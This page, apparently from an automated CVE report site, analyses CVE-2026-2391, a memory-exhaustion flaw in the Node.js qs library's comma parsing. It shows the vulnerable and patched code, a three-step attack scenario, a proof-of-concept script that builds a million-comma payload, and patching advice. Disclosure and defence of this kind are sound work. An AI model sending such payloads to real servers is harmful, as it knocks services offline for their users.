CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-2391

Death by a Thousand Commas: Deep Dive into CVE-2026-2391

Alon Barad
Alon Barad
Software Engineer

Feb 12, 2026·6 min read·148 visits

Executive Summary (TL;DR)

The `qs` library (used by Express.js) ignores `arrayLimit` when parsing comma-separated values (`?a=1,2,3...`). Attackers can trigger OOM crashes by sending massive comma strings. Fixed in 6.14.2.

A logic flaw in the popular Node.js `qs` library allows attackers to bypass array limits when the `comma` parsing option is enabled. By sending a crafted query string containing thousands of commas, an unauthenticated attacker can force the application to allocate massive arrays, leading to memory exhaustion and a Denial of Service (DoS). This vulnerability highlights the dangers of 'return early' patterns in input validation logic.

The Hook: Parsing is Hard

If you've ever written a Node.js web server, you've almost certainly used qs. It's the de facto standard for parsing query strings, sitting underneath heavyweights like Express.js. It turns the chaotic soup of URL parameters (?foo=bar&baz=qux) into nice, clean JavaScript objects. It handles deep nesting, arrays, and all the edge cases that the native querystring module ignores.

But here's the thing about parsing libraries: they are the frontline defense. They touch user input before your application logic even wakes up. If the parser is broken, your fancy authentication middleware doesn't matter. You are already dead.

CVE-2026-2391 targets a specific convenience feature in qs: Comma-Separated Values. Sometimes developers want ?ids=1,2,3 to automatically become ['1', '2', '3'] without forcing the client to send ?ids[]=1&ids[]=2.... To support this, qs offers the comma: true option. It sounds innocent enough, but as we're about to see, enabling this option essentially handed attackers a 'Skip Logic' card for security controls.

The Flaw: Logic Amnesia

The vulnerability isn't a complex buffer overflow or a heap grooming masterpiece. It's a classic case of Order of Operations failure. Developers often implement security limits—like arrayLimit—to prevent memory exhaustion. In qs, the default arrayLimit is 20. If you try to send 100 items, qs is supposed to stop parsing or convert the excess into an object index to save memory.

However, in lib/parse.js, the logic for handling commas was implemented before the limit checks were fully enforced. The code looked at the input string, saw a comma, and immediately thought, "I know what to do here! I'll split this string and return the result right now!"

> [!NOTE] > The Fatal Mistake: The code returned the result of val.split(',') immediately. It bypassed the subsequent code blocks responsible for checking if the resulting array size exceeded the configured limit.

This means that even if you configured qs to throw an error when limits are exceeded (throwOnLimitExceeded: true), the comma parser would happily generate an array of 1,000,000 items before the validator ever got a chance to object. It’s like a bouncer checking ID at the front door, but leaving the loading dock wide open for anyone carrying a box.

The Code: The Smoking Gun

Let's look at the diff. This is where the oversight becomes painful to read. The vulnerability lived in the parseValues function.

The Vulnerable Code (Simplified):

// lib/parse.js (Pre-patch)
var parseValues = function (str, options) {
    // ... setup ...
 
    // IF commas are enabled and present...
    if (options.comma && val.indexOf(',') > -1) {
        // ... SPLIT AND RETURN IMMEDIATELY
        return val.split(',');
    }
 
    // ... complex parsing logic and LIMIT CHECKS happen down here ...
};

See that return? That's the game over. The function exits before it ever reaches the code that says, "Hey, is this array too big?"

The Fix (Commit f6a7abf):

The maintainers fixed this by removing the early return and explicitly checking the length of the generated array against the arrayLimit.

// lib/parse.js (Patched)
if (options.comma && val.indexOf(',') > -1) {
    var values = val.split(',');
    // Explicitly check the limit on the split result
    if (values.length > options.arrayLimit) {
        if (options.throwOnLimitExceeded) {
            throw new RangeError('Array limit exceeded...');
        }
        // Or safely combine/truncate
        values = utils.combine([], values, options.arrayLimit, options.plainObjects);
    }
    return values;
}

The fix forces the comma-split array to undergo the same scrutiny as any other array structure.

The Exploit: DoS via Allocation

Exploiting this is trivially easy if you can find an endpoint where comma: true is enabled. You don't need special headers, you don't need to bypass a WAF (usually), and you don't need authentication.

The Attack Scenario:

  1. Recon: The attacker identifies a target using qs (common in Node.js apps). They fuzz parameters with commas (?q=a,b) to see if the server treats them as arrays.
  2. Weaponization: The attacker constructs a query string containing a single parameter with millions of commas.
  3. Execution: They send the request. The Node.js event loop blocks while String.prototype.split allocates a massive array of strings on the heap.

Proof of Concept:

const qs = require('qs');
 
// Target configuration
const options = {
    comma: true,
    arrayLimit: 5, // We expect this to stop us... but it won't.
    throwOnLimitExceeded: true
};
 
// The payload: 1 million commas
const attackPayload = 'data=' + 'a,'.repeat(1000000);
 
console.log("Attempting parse...");
try {
    const result = qs.parse(attackPayload, options);
    console.log(`Success! Array length: ${result.data.length}`);
    console.log("The limit of 5 was completely ignored.");
} catch (e) {
    console.log("Blocked:", e.message);
}

When run against a vulnerable version, this script outputs Array length: 1000001. The memory usage spikes instantly. If an attacker sends concurrent requests like this, the Node.js process will hit its memory limit (default ~1.5GB) and crash with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.

The Impact: Why It Matters

You might argue, "Who enables comma: true anyway?" It's less common than the default behavior, but it is frequently used in APIs that want to support compact filter lists (e.g., GET /users?ids=1,2,3).

The consequences are:

  • Availability Loss: A single attacker can crash the server (DoS). Since Node.js is often deployed with process managers (like PM2) that restart crashes, the attacker can put the server into a continuous crash loop, effectively taking it offline.
  • Resource Cost: For serverless environments (AWS Lambda, etc.), this causes massive CPU spikes and max memory usage, driving up the bill even if the function eventually times out.
  • Latency: Even if the server doesn't crash, the Garbage Collector (GC) will go into overdrive trying to clean up these massive string arrays, causing significant latency for legitimate users.

This is a classic Asymmetric Attack: It costs the attacker fractions of a penny to generate a string of commas, but it costs the defender significant CPU cycles and RAM to process it.

The Fix: Mitigation & Defense

The remediation is straightforward, but it requires action. This isn't a vulnerability that will magically go away.

Immediate Steps:

  1. Patch: Update qs to 6.14.2 or higher. Run npm audit fix or manually upgrade your package.json.
  2. Configuration Review: Search your codebase for comma: true. If you don't actually need comma-separated parsing, turn it off. The safest code is code that doesn't run.
  3. Input Validation: Regardless of the library fix, you should validate the length of input strings at the ingress point (e.g., Nginx, AWS WAF). Reject query strings that are unreasonably long (e.g., > 2KB) before they ever reach your Node.js application.

> [!TIP] > Developer Lesson: Never assume a library enforces its own constraints consistently across all features. When enabling "convenience" features (like fuzzy matching or comma parsing), always verify if the standard security limits still apply.

Official Patches

GitHubOfficial patch commit

Fix Analysis (1)

Technical Appendix

CVSS Score
6.3/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Probability
0.05%
Top 85% most exploited

Affected Systems

Node.js applications using `qs`Express.js applications (if using `qs` with custom configuration)APIs parsing CSV-style query parameters

Affected Versions Detail

Product
Affected Versions
Fixed Version
qs
ljharb
<= 6.14.16.14.2
AttributeDetail
CWECWE-20 / CWE-770
CVSS v4.06.3 (Medium)
Attack VectorNetwork (Remote)
PrivilegesNone
ImpactDenial of Service (Memory Exhaustion)
EPSS Score0.00049 (~0.05%)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1499Endpoint Denial of Service
Impact
CWE-770
Allocation of Resources Without Limits or Throttling

Improper Input Validation leading to Allocation of Resources Without Limits

Known Exploits & Detection

Internal ResearchPoC demonstrating memory spike with comma-separated values

Vulnerability Timeline

Fix committed to GitHub
2026-02-10
CVE and GHSA Published
2026-02-12

References & Sources

  • [1]GitHub Security Advisory
  • [2]NVD CVE-2026-2391

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 12 hours ago•GHSA-PW6J-QG29-8W7F
5.9

GHSA-pw6j-qg29-8w7f: State Persistence and Sensitive Credential Leakage in Tornado CurlAsyncHTTPClient

A state persistence vulnerability exists in Tornado's CurlAsyncHTTPClient component where pooled pycurl.Curl handles are reused across asynchronous requests without a complete state reset. Consequently, sensitive per-request configurations, such as client TLS certificates or proxy basic authentication credentials, persist on the shared handle. This behavior leads to subsequent requests leaking these credentials to unauthorized remote servers.

Amit Schendel
Amit Schendel
7 views•7 min read
•about 13 hours ago•CVE-2026-48748
7.5

CVE-2026-48748: Netty HTTP/3 QPACK Blocked Streams Memory Exhaustion

CVE-2026-48748 is a denial-of-service vulnerability in Netty's HTTP/3 codec (netty-codec-http3) occurring when QPACK dynamic tables are enabled but the blocked streams limit is not explicitly configured. A bug in limit checking and a memory leak in stream tracking allow unauthenticated remote attackers to exhaust the JVM heap memory and crash the server.

Amit Schendel
Amit Schendel
8 views•6 min read
•about 13 hours ago•CVE-2026-50009
4.8

CVE-2026-50009: Stateless Reset Token Exposure in Netty QUIC

CVE-2026-50009 is a cryptographic design vulnerability in the Netty network application framework. Prior to version 4.2.15.Final, the framework's QUIC protocol implementation fails to cryptographically segregate the generated Connection IDs and the associated Stateless Reset Tokens. An on-path network attacker who sniffs traffic during a Connection ID rotation can extract secret token material from cleartext headers, enabling them to inject spoofed reset packets and terminate active connections.

Alon Barad
Alon Barad
6 views•6 min read
•about 14 hours ago•CVE-2026-50010
7.5

CVE-2026-50010: Hostname Verification Bypass in Netty TLS Client

A critical hostname verification bypass vulnerability exists in the Netty network application framework when configured as a TLS client. When a developer registers a custom plain X509TrustManager, Netty wraps it inside an X509TrustManagerWrapper to adapt it to the X509ExtendedTrustManager API. However, this wrapper discards the SSLEngine context, bypassing critical hostname checks. Because the wrapper is identified as an X509ExtendedTrustManager, standard cryptographic engines and Netty's OpenSSL wrappers do not re-wrap it, failing to execute any hostname validation. Consequently, clients silently accept certificates for any host, enabling unauthenticated Man-in-the-Middle (MitM) attacks.

Amit Schendel
Amit Schendel
9 views•8 min read
•about 14 hours ago•CVE-2026-50011
7.5

CVE-2026-50011: Unbounded Resource Pre-Allocation in Netty Redis Codec

An uncontrolled resource pre-allocation flaw in the Netty Redis codec module allows remote unauthenticated attackers to cause a denial of service (OutOfMemoryError) by sending a crafted Redis Serialization Protocol (RESP) array header.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 15 hours ago•CVE-2026-50020
5.3

CVE-2026-50020: HTTP Request Smuggling in Netty HttpObjectDecoder via Arbitrary Leading Control Bytes

CVE-2026-50020 is a medium-severity HTTP Request Smuggling/Response Smuggling vulnerability (CWE-444) within the Netty asynchronous network application framework. The flaw resides in Netty's HTTP codec implementation, specifically the HttpObjectDecoder class, which silently consumes arbitrary ISO control bytes preceding the first request line.

Alon Barad
Alon Barad
4 views•7 min read